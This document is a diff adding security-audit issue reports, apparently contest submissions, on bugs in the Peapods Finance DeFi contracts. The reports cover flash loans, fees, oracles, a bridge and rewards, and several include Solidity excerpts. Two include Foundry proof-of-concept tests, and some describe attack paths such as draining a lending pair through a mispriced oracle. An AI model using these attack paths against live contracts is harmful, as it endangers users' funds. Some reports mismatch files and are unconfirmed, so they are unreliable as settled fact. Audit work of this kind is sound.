+__NOTE__: This is a completely expected scenario, users can provide any pod tokens they choose and each asset has its own flashloan source, thus it is completely normal and expected for a user to provide pod tokens which is the flashloan source of a specific asset. Causing a revert in that case effectively disallows users from using specific pod tokens, it is essentially equivalent to going to a bank and providing `USD` and then they say `USD` isn't accepted (when it should).
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path necessary, `Root Cause` explains how the issue occurs
+
+### Impact
+
+Incorrect reverts disallowing users from using specific pod tokens
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider implementing special cases in the `lock` modifier to handle such scenarios
\ No newline at end of file
diff --git a/138.md b/138.md
new file mode 100644
index 0000000..6790ac7
--- /dev/null
+++ b/138.md
@@ -0,0 +1,64 @@
+Fast Khaki Raccoon
+
+High
+
+# Leverage position can be impossible to close due to a non-initialized struct field
+
+### Summary
+
+Leverage position can be impossible to close due to a non-initialized struct field
+
+### Root Cause
+
+Upon removing leverage, we have the following piece of code:
+```solidity
+ LeverageFlashProps memory _props;
+ _props.method = FlashCallbackMethod.REMOVE;
+ _props.positionId = _positionId;
+ _props.owner = _owner;
+ bytes memory _additionalInfo = abi.encode(...);
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(_borrowTkn, _borrowAssetAmt, address(this), abi.encode(_props, _additionalInfo));
+```
+The `_props` struct gets his `method`, `positionId`, `owner` initialized with values. Then, it is encoded and provided to the `flash()` function of the flashloan source where that data is put in another struct, encoded and passed to the `flash()` function of a pod/index:
+```solidity
+ FlashData memory _fData = FlashData(_recipient, _token, _amount, _data, 0);
+ IDecentralizedIndex(source).flash(address(this), _token, _amount, abi.encode(_fData));
+```
+After that, the data goes back to the `callback()` function in our flashloan source and is passed to the `callback()` function of the leverage manager where upon calling `_removeLeverageCallback()`, we decode it:
+```solidity
+(LeverageFlashProps memory _props, bytes memory _additionalInfo) = abi.decode(_d.data, (LeverageFlashProps, bytes));
+```
+If the amount paired amount received from the liquidity removal is insufficient to repay the flashloan, we call `_acquireBorrowTokenForRepayment()` where if the user has provided amount to send, we go in this block:
+```solidity
+if (_userProvidedDebtAmtMax > 0) {
+ ...
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ }
+```
+As seen, the `_props.sender` has to provide the amount. The issue is that we didn't initialize it in the beginning and it was not set at any point during the flow, thus this is `address(0)` and would always lead to a revert.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path necessary, `Root Cause` explains it in great detail
+
+### Impact
+
+The basic DoS/broken functionality impact is clear, the functionality of users providing borrow tokens to cover the repayment is completely impossible.
+
+The bigger issue is that the leverage can be impossible to remove if the pod tokens can not cover the necessary borrow tokens during the swap. In that case, there is no way to close the position as the user can not provide any extra debt tokens to do so.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Initialize the sender as well
\ No newline at end of file
diff --git a/140.md b/140.md
new file mode 100644
index 0000000..6b00a03
--- /dev/null
+++ b/140.md
@@ -0,0 +1,51 @@
+Brave Saffron Rooster
+
+High
+
+# `convertToAssets` applies debond fee for assets and this is wrong.
+
+### Summary
+
+There is a mistake in `convertToAssets` function.
+### Root Cause
+
+
+In `WeightedIndex.sol`, the `convertToAssets` function incorrectly applies the debond fee to assets instead of shares.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L468-L474
+```solidity
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+ _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+The debond fee should be applied to shares because the token type of the fee is 'pTKN'
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Incorrect calculation of assets based on shares will lead to erroneous debond fee deductions.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Please ensure that the debond fees are considered based on shares before converting to assets.
\ No newline at end of file
diff --git a/141.md b/141.md
new file mode 100644
index 0000000..fc3af39
--- /dev/null
+++ b/141.md
@@ -0,0 +1,43 @@
+Brave Saffron Rooster
+
+Medium
+
+# `_minSwap` defaults `10 ** IERC20Metadata(_rewardsToken).decimals()`
+
+### Summary
+
+There is a mistake in calculating `_minSwap`.
+### Root Cause
+
+
+In `AutoCompoundingPodLp.sol`, `_minSwap` should not be zero, and as a result it defaults `10 ** IERC20Metadata(_rewardsToken).decimals()`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L276-L277
+```solidity
+ uint256 _minSwap = 10 ** (IERC20Metadata(_rewardsToken).decimals() / 2);
+ _minSwap = _minSwap == 0 ? 10 ** IERC20Metadata(_rewardsToken).decimals() : _minSwap;
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The incorrect calculation of `_minSwap ` will affect to leveraging the logic of swaping paired token to LP Tokens and will impact the amount of LP Tokens that is produced by rewared tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Please review and correct the calculation of `_minSwap`.
\ No newline at end of file
diff --git a/142.md b/142.md
new file mode 100644
index 0000000..2f91520
--- /dev/null
+++ b/142.md
@@ -0,0 +1,46 @@
+Atomic Syrup Leopard
+
+High
+
+# flash loan in `BalancerFlashSource` contract will fail
+
+### Summary
+
+`receiveFlashLoan` function in `BalancerFlashSource` contract doesn't encode changed data and `IFlashLoanRecipient(_fData.recipient).callback(_userData);` uses old data.
+The old data doesn't contain fee data, so flash loan fails because it doesn't contain fee information.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L56-L56
+
+This code used old `_userData` intead of `abi.encode(_fData)`.
+
+It must use `abi.encode(_fData)` like here:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/UniswapV3FlashSource.sol#L44-L44
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Flash loan fails for `BalancerFlashSource`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```solidity
+IFlashLoanRecipient(_fData.recipient).callback(abi.encode(_fData));
+```
\ No newline at end of file
diff --git a/143.md b/143.md
new file mode 100644
index 0000000..5f8162e
--- /dev/null
+++ b/143.md
@@ -0,0 +1,51 @@
+Brave Saffron Rooster
+
+High
+
+# Swaping `_rewardsToken` for `_swapOutputTkn` could be fail.
+
+### Summary
+
+Swaping `_rewardsToken` for `_swapOutputTkn` could fail due to the balance of `_rewardsToken`.
+### Root Cause
+
+In `AutoCompoundingPodLp.sol`, the `_tokenToPairedLpToken` updates `_amountIn` to `_amountInOverride` when `_amountInOverride` is not zero. However, there is no guarantee that `_amountInOverride < _amountIn` because `_amountInOverride` may be set to `_minSwap` in a previous swap, and both previous and current `_amountIn` may be lower than `_minSwap`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L272-L275
+```solidity
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+ if (_amountInOverride > 0) {
+@> _amountIn = _amountInOverride;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Swapping an incorrect amount of reward tokens may fail, resulting in a small amount of LP Tokens and protocol fees.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the code to ensure that _amountInOverride is less than _amountIn.
+```diff
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+- if (_amountInOverride > 0) {
++ if (_amountInOverride > 0 && _amountIn > _amountInOverride) {
+ _amountIn = _amountInOverride;
+ }
+```
\ No newline at end of file
diff --git a/144.md b/144.md
new file mode 100644
index 0000000..2c82902
--- /dev/null
+++ b/144.md
@@ -0,0 +1,51 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Tokens can be locked in tokenBridge
+
+### Summary
+
+When `bridgeTokens`, source chain locks or burns user tokens and send message via `CCIP` and target chain mint or transfer tokens.
+But if `_ccipReceive` fails, bridging fails in target chain but it doesn't revert in source chain.
+It means user can lose tokens.
+`require(tokenRouter.globalEnabled(), "GLDISABLED");` and `require(_bridgeConf.enabled, "BRDISABLED");` check `enabled` but even though admin is going to disable at the same time in source chain and target chain, it can't be set at same time because different network.
+And also `TokenBridge` contract doesn't have `pause` mechanism. So when changing configuration, bridging tokens can't be paused.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L83-L83
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L87-L87
+
+Admin can't set flags in multi chains at same time and also can't prevent bridging tokens.
+
+### Internal Pre-conditions
+
+In source chain and target chain, configuration mismatch must happen.
+
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. source chain sets true for bridging tokens.
+ `require(tokenRouter.globalEnabled(), "GLDISABLED");`, `require(_bridgeConf.enabled, "BRDISABLED");` passed
+2. target chain sets false for bridging tokens.
+ `require(tokenRouter.globalEnabled(), "GLDISABLED");`, `require(_bridgeConf.enabled, "BRDISABLED");` reverts
+
+Source Chain Bridge contract locked or burned user tokens but user can't claim his lost tokens.
+
+### Impact
+
+User tokens can lost his tokens when bridging.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement `pause` mechanism and admin must pause before changing configuration for bridging.
\ No newline at end of file
diff --git a/145.md b/145.md
new file mode 100644
index 0000000..4afd418
--- /dev/null
+++ b/145.md
@@ -0,0 +1,85 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Missing reward claim mechanism in LeverageManager for leveraged positions owners
+
+### Summary
+The LeverageManager contract lacks functionality to claim and distribute staking rewards earned by leveraged positions. During the staking, the `IndexUtils.sol` uses `_msgSender()` as the `_user` shows that the receiver of the POOL_REWARDS will be `leverageManager` contract, during the remove leverage post callback, the index utils [transfer from](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/IndexUtils.sol#L115) the leverage contract the asp token
+```solidity
+IERC20(_spTKN).safeIncreaseAllowance(address(indexUtils), _spTKNAmtReceived);
+```
+this trigers the _update of the lp staking pool and reset the shares of the leverageManager contract
+```solidity
+function _update(address _from, address _to, uint256 _value) internal override {
+ super._update(_from, _to, _value);
+ if (_from != address(0)) {
+->> TokenRewards(POOL_REWARDS).setShares(_from, _value, true);
+ }
+ if (_to != address(0) && _to != address(0xdead)) {
+ TokenRewards(POOL_REWARDS).setShares(_to, _value, false);
+ }
+ }
+```
+this causes the distribution of rewards of leverageManager address and distributed, this rewards belong to the leverage creator.
+
+### Root Cause
+During the staking process through IndexUtils.sol, the LeverageManager becomes the msg.sender and therefore the receiver of staking rewards:
+```solidity
+function _stakeLPForUserHandlingLeftoverCheck(address _stakingPool, address _receiver, uint256 _stakeAmount)
+ internal
+ returns (uint256 _finalAmountOut)
+{
+ if (IERC20(_stakingPool).balanceOf(address(this)) > 0) {
+ IStakingPoolToken(_stakingPool).stake(_receiver, _stakeAmount);
+ return _finalAmountOut;
+ }
+ // LeverageManager becomes the staker
+ IStakingPoolToken(_stakingPool).stake(address(this), _stakeAmount);
+}
+```
+When rewards are distributed in TokenRewards.sol, they are sent directly to the staker (LeverageManager):
+```solidity
+ function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+ }
+```
+The LeverageManager contract has no functionality to:
+
+- Track rewards per position
+- Allow position owners to claim their rewards
+- Forward rewards to the correct recipients
+When the `_d.token` is a reward token, [it will be transferred to the next leverage position owner](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L339-L342):
+```solidity
+// pay back flash loan and send remaining to borrower
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _flashPaybackAmt);
+ uint256 _remaining = IERC20(_d.token).balanceOf(address(this));
+ if (_remaining != 0) {
+ IERC20(_d.token).safeTransfer(positionNFT.ownerOf(_props.positionId), _remaining);
+ }
+```
+After unstaking and removing lp, and rewards are been directly distributed to the leverageManager, [it expects the repay amount to always be less than the paired amount received](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L383), but when the reward distribution includes borrowed token, the paired amount received will be inflated potentially causing DOS.
+### Impact
+Users with leveraged positions rewards are not track, causing a loss to leverage positions owners
+
+### Mitigation
+Add reward tracking and claiming functionality to LeverageManager
+
diff --git a/146.md b/146.md
new file mode 100644
index 0000000..c095b90
--- /dev/null
+++ b/146.md
@@ -0,0 +1,156 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Incorrect logic of `_isLastOut` function
+
+### Summary
+
+The `_isLastOut` function is to check if the user is the last one out. But owning more than 99% of `_totalSupply` and being the last user are not equal logic.
+Due to the incorrect logic of `_isLastOut` function, user who is not the last user, doesn't pay the debond fee..
+
+### Root Cause
+
+In [`_isLastOut`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L281-L283) function, check if the user is the last one out, is whether user owns more than 99% of `_totalSupply`.
+
+User can own more than 90% of the pod tokens even if there are other users who can `debond`.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Impact
+
+There are cases where the debond fee is not paid even if user isn't the last out one.
+
+### Attack Path
+
+The following scenario shows that the logic of `_isLastOut` is incorrect.
+
+bondFee = 1%, deBondFee = 1%, burnFee = 10%
+1. Alice bonds 1e18
+ totalSupply = 1e18 (Alice is the first in so no fee)
+2. Bob bonds 1000e18
+ Bob balance is 1000e18 * 99% = 990e18,
+ burnAmount = 1000e18 * 1% * 10% = 1e18
+ totalSupply = 1e18 + 1000e18 - burnAmount = 1000e18
+3. If Bob debonds with his total balance, `_isLastOut` function returns `true`
+ Bob balance = 990e18 >= totalSupply * 99 / 100 = 990e18
+4. Bob is not the last out one because Alice is left, but Bob debonds with no debondFee.
+ totalSupply = 1000e18 - bob_balance = 10e18
+
+This scenario is written on PoC and the last `totalSupply` is 10e18. This means Bob is recognized as the last out one.
+
+### PoC
+
+```solidity
+ function setUp() public override {
+ super.setUp();
+ peas = PEAS(0x02f92800F57BCD74066F5709F1Daa1A4302Df875);
+ twapUtils = new V3TwapUtilities();
+ rewardsWhitelist = new RewardsWhitelist();
+ dexAdapter = new UniswapDexAdapter(
+ twapUtils,
+ 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, // Uniswap V2 Router
+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 100;
+ _f.debond = 100;
+ _f.burn = 1000;
+ address[] memory _t = new address[](1);
+ _t[0] = address(dai);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ dai,
+ address(peas),
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ flashMintRecipient = new MockFlashMintRecipient();
+
+ // Initial token setup for test users
+ deal(address(peas), address(this), bondAmt * 100);
+ deal(dai, address(this), 5 * 10e18);
+
+ }
+
+ function test_poc_bond(address user, uint256 amount) public {
+ vm.startPrank(user);
+ IERC20(dai).approve(address(pod), type(uint256).max);
+ pod.bond(address(dai), amount, 0);
+ vm.stopPrank();
+ }
+
+ function test_poc_debond(address user, uint256 amount) public {
+
+ if(amount == 0) amount = pod.balanceOf(user);
+ address[] memory _n1;
+ uint8[] memory _n2;
+ vm.startPrank(user);
+ pod.debond(amount, _n1, _n2);
+ vm.stopPrank();
+ }
+
+ function test_poc_lastOut() public {
+
+ deal(address(dai), alice, bondAmt);
+ deal(address(dai), bob, bondAmt * 1000);
+
+ console.log("--- ALICE bond ---");
+ test_poc_bond(alice, bondAmt);
+ console.log("pod totalSupply before bob calls bond", pod.totalSupply());
+
+ console.log("--- BOB bond ---");
+ test_poc_bond(bob, bondAmt * 1000);
+
+ console.log("pod balance of BOB", pod.balanceOf(bob));
+ console.log("pod totalSupply after BOB calls bond", pod.totalSupply());
+
+ console.log("pod totalSupply before BOB calls debond", pod.totalSupply());
+ test_poc_debond(bob, 0);
+ console.log("pod totalSupply after BOB calls debond", pod.totalSupply());
+
+ }
+
+```
+
+> Logs:
+ --- ALICE bond ---
+ pod totalSupply before bob calls bond 1000000000000000000
+ --- BOB bond ---
+ pod balance of BOB 990000000000000000000
+ pod totalSupply after BOB calls bond 1000000000000000000000
+ pod totalSupply before BOB calls debond 1000000000000000000000
+ pod totalSupply after BOB calls debond 10000000000000000000
+
+### Mitigation
+
+```solidity
+ function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
+--- return _debondAmount >= (_totalSupply * 99) / 100;
++++ return (_debondAmount + balance(this) == _totalSupply) || (balance(this) == _totalSupply);
+ }
+```
\ No newline at end of file
diff --git a/147.md b/147.md
new file mode 100644
index 0000000..1812c44
--- /dev/null
+++ b/147.md
@@ -0,0 +1,71 @@
+Atomic Syrup Leopard
+
+High
+
+# Incorrect decimals applied for FraxlendPair tokens as base tokens in `spTKNMinimalOracle` contract
+
+### Summary
+
+`_calculateSpTknPerBase` function in `spTKNMinimalOracle` contract returns the price in 18 decimals, but when the base token is a FraxlendPair, the price is converted to the decimals of the borrow asset of the FraxlendPair, which is incorrect.
+
+### Root Cause
+
+[`_calculateSpTknPerBase`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L166)
+
+The root cause of the issue is that the `_calculateSpTknPerBase` function does not apply decimal conversion when the base token is a FraxlendPair.
+
+### Internal Pre-conditions
+
+- `PAIRED_LP_TOKEN` of the pod is a FraxlendPair.
+- Decimals of borrow asset of the FraxlendPair is less than 18.
+
+### External Pre-conditions
+
+
+### Attack Path
+
+- Let's assume that a LVF is setup with a pod that has a FraxlendPair as `PAIRED_LP_TOKEN`.
+- Let's assume that 1 base token is worth 0.5 `spTKN`. NOTE, based on the protocol design, the base token is borrow asset of the FraxlendPair.
+- In this case, `_calculateSpTknPerBase` needs to return `0.5 * 1e18`.
+- Because of decimals issue, the function will return `0.5 * 1e6` instead, when the decimals of the borrow asset of the FraxlendPair is 6.
+- As base token price got `1e12` times smaller, this means that the `spTKN` price got `1e12` times larger.
+- As a result, a malicious user can drain assets from the FraxlendPair by borrowing `1e12` times of assets.
+
+### Impact
+
+The associated FraxlendPair can be drained because of incorrect oracle price.
+
+### PoC
+
+### Mitigation
+
+In `_calculateSpTknPerBase` function, it should apply decimals conversion from borrow asset decimals to 18.
+Here's the fixed code snippet:
+
+```diff
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+ require(_basePerSpTkn18 > 0, "V2R");
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+
+ // if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+ _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
++ _spTknBasePrice18 = _spTknBasePrice18 * 10 ** (18 - IERC20Metadata(IFraxlendPair(BASE_TOKEN).asset()).decimals());
+ }
+ }
+```
diff --git a/148.md b/148.md
new file mode 100644
index 0000000..1630aa9
--- /dev/null
+++ b/148.md
@@ -0,0 +1,55 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Unbond fee is applied twice in `spTKNMinimalOracle` contract
+
+### Summary
+
+The `spTKNMinimalOracle` contract is used to calculate the price of `spTKN` in terms of the base asset, which involves a call to `_accountForCBRInPrice` and `_accountForUnwrapFeeInPrice`. The `_accountForUnwrapFeeInPrice` function applies the unbond fee to the price, but this is redundant because the `_accountForCBRInPrice` function already applies the unbond fee.
+
+### Root Cause
+
+[`_calculateBasePerPTkn`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L185)
+[`_checkAndHandleBaseTokenPodConfig`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/oracle/spTKNMinimalOracle.sol#L215)
+
+The root cause of the issue debond fee is applied again in functions above by calling `_accountForUnwrapFeeInPrice`.
+
+```solidity
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+> _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+
+As implemented in `WeightedIndex` contract, `convertToAssets` already applies the debond fee.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If the unbond fee is applied twice, it means a unit of base token requires more `spTKN` in value, which causes users's positions to be less healthy.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Remove the unbond fee application in `_accountForUnwrapFeeInPrice` function.
\ No newline at end of file
diff --git a/149.md b/149.md
new file mode 100644
index 0000000..2349d1d
--- /dev/null
+++ b/149.md
@@ -0,0 +1,87 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Users will lose rewards when shares change during reward token pause period
+
+### Summary
+
+The incorrect handling of paused reward tokens in `TokenRewards.sol` will cause a loss of rewards for users who have share changes during the pause period, as their excluded rewards are reset without distributing the pending rewards.
+
+### Root Cause
+
+In [`TokenRewards.sol:_resetExcluded()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L258-L263) the function unconditionally updates the excluded rewards for all reward tokens, including paused ones, without accounting for pending paused rewards.
+
+### Internal Pre-conditions
+
+1. One of whitelisted reward tokens is deposited to the contract to be distributed
+2. The owner of `RewardsWhitelister` contract pauses and unpauses the reward token
+
+### External Pre-conditions
+
+Shares of a user changes, either by staking or unstaking.
+
+### Attack Path
+
+1. Alice stakes 100pTkn and receives 100spTkn, thus increasing 100 shares on `TokenRewards`
+2. Assume there's 1000 total shares on `TokenRewards`
+3. `USDC` token is whitelisted and 1000 USDC is deposited to the contract, which makes 100 USDC for Alice
+4. The owner of `RewardsWhitelister` contract pauses the `USDC` token for some reason
+5. A malicious user Bob stakes 1 wei of pTkn for Alice, thus making changes to her shares
+6. `USDC` token is unpaused and Alice unstakes her 100spTkn, thus decreasing her shares by 100
+7. Alice didn't receive any rewards, and those lost rewards remain locked in the contract
+
+### Impact
+
+Users will lose rewards when shares changes during the reward token pause period, either by natural behavior or by malicious actions.
+
+### PoC
+
+```solidity
+ function test_audit_pausedRewardsToken() public {
+ // Whitelist secondary reward token
+ rewardsWhitelister.toggleRewardsToken(address(secondaryRewardToken), true);
+
+ assertEq(tokenRewards.totalShares(), 0);
+
+ address alice = address(0xa11ce);
+
+ // Alice stakes 100Tkn and receives 100spTkn, thus increasing 100 shares on TokenRewards
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(alice, 100e18, false);
+
+ assertEq(tokenRewards.shares(alice), 100e18);
+ assertEq(tokenRewards.totalShares(), 100e18);
+
+ // Distribute secondary rewards
+ uint256 secondaryRewards = 1000e18;
+ tokenRewards.depositRewards(address(secondaryRewardToken), secondaryRewards);
+
+ // Assume, secondary tokens is paused
+ rewardsWhitelister.setPaused(address(secondaryRewardToken), true);
+
+ // Bob stakes 10Tkn for Alice, thus increasing her shares by 10
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(alice, 110e18, false);
+
+ // Later, secondary token is unpaused
+ rewardsWhitelister.setPaused(address(secondaryRewardToken), false);
+
+ // Alice unstakes her 100spTkn, thus decreasing shares by 100
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(alice, 100e18, true);
+
+ // Alice didn't receive secondary rewards
+ assertEq(secondaryRewardToken.balanceOf(alice), 0);
+ }
+```
+To test this, you can put the code in `TokenRewards.t.sol`, and run it with `forge test --match-test test_audit_pausedRewardsToken`.
+
+The `TokenRewards.t.sol` was using `MockRewardsWhitelister`, but you need to replace it with the actual `RewardsWhitelister` contract.
+
+### Mitigation
+
+I can suggest two different types of mitigations:
+
+1. In `_resetExcluded()` function, check if the reward token is paused, and if so, don't update the excluded amount for wallets that had shares in the past.
+2. Calculate the pending amounts that should be distributed, and update the pending amounts for paused tokens in `_distributeRewards()` function.
diff --git a/150.md b/150.md
new file mode 100644
index 0000000..01dc412
--- /dev/null
+++ b/150.md
@@ -0,0 +1,69 @@
+Spicy Lavender Capybara
+
+High
+
+# Borrower creating dust borrow orders will increase bad debt
+
+### Summary
+
+The function `borrowAsset()` lacks of dust amount check, leading to liquidation rewards being lower than gas fees. As a result, liquidators may avoid liquidating these orders, causing the protocol to accumulate bad debt.
+
+### Root Cause
+
+In [FraxLendPairCore.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L903-L928) there is missing dust amount check.
+
+### Internal Pre-conditions
+
+none
+
+### External Pre-conditions
+
+gas fee more than dust amount or liquidate reward
+
+### Attack Path
+Due to the absence of a dust amount limit in borrowAsset, the liquidation reward value may be lower than the gas cost.
+
+```solidity
+ function borrowAsset(uint256 _borrowAmount, uint256 _collateralAmount, address _receiver)
+ external
+ nonReentrant
+ isSolvent(msg.sender)
+ returns (uint256 _shares)
+ {
+ if (_receiver == address(0)) revert InvalidReceiver();
+
+ // Accrue interest if necessary
+ _addInterest();
+
+ // Check if borrow will violate the borrow limit and revert if necessary
+ if (borrowLimit < totalBorrow.amount + _borrowAmount) revert ExceedsBorrowLimit();
+
+ // Update _exchangeRate and check if borrow is allowed based on deviation
+ (bool _isBorrowAllowed,,) = _updateExchangeRate();
+ if (!_isBorrowAllowed) revert ExceedsMaxOracleDeviation();
+
+ // Only add collateral if necessary
+ if (_collateralAmount > 0) {
+ _addCollateral(msg.sender, _collateralAmount, msg.sender);
+ }
+
+ // Effects: Call internal borrow function
+ _shares = _borrowAsset(_borrowAmount.toUint128(), _receiver);
+ }
+```
+
+An attacker can call `borrowAsset()` with `_borrowAmount` set to a dust amount. Over time, the borrow order becomes eligible for liquidation, but since the liquidation reward is lower than the gas fee, liquidators have no incentive to act. Additionally, liquidation bots may deplete their native tokens due to gas fees, causing them to stop operating.
+
+### Impact
+
+1. The protocol will accumulate debt
+2. The project's liquidation bot may run out of native tokens due to gas fees.
+
